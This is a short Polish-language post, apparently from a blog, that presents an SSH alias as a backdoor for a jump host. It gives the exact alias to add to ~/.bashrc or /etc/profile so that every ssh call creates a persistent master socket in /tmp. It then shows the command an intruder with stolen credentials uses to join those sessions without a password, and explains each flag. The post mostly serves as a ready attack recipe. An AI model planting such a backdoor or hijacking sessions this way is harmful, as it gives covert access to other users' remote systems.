alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes" - bardzo fajny/bardzo groźny backdoor, zwłaszcza na hoście przesiadkowym
Dodanie tego aliasa do plików wczytywanych po zalogowaniu (np. do ~/.bashrc, ~/.bash_profile czy ~/.profile albo w ogóle do /etc/profile jeśli mamy roota) spowoduje, że za każdym razem, kiedy ktoś uruchomi ssh user@host zostanie uruchomione ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes user@host w wyniku czego zostanie utworzone gniazdo /tmp/user@host:22 wykorzystujące bardzo fajną funkcjonalność ssh - multipleksację.
Rozbijając to na detale:
No i teraz, kiedy ktoś na tej maszynie ma dostęp i uprawnienia do gniazda /tmp/@: (bo np. złamaliśmy/wykradliśmy login i hasło danego usera) może wykonać:
ssh -S /tmp/user@host:22 host
i zostanie zalogowany do sesji, którą wcześniej zainicjował nasz Master. Bez potrzeby wprowadzania hasła, ponieważ to już zrobił Master.
Jak to działa — krok po kroku
Rozłóżmy onelinera na czynniki pierwsze:
ssh
połączenie ssh ;)
-M
ustaw połaczenie w trybie Master, by móc udostępnić to połączenie innym,
-S /tmp/%r@%h:%p
ścieżka do gniazda wykorzystywanego podczas współdzielenia połączenia, w tym wypadku /tmp/@:
-oControlPersist=yes
utrzymuj połączenie w tle, nawet po zamknięciu sesji, która połączenie zainicjowała,
user@host
połącz do hosta jako user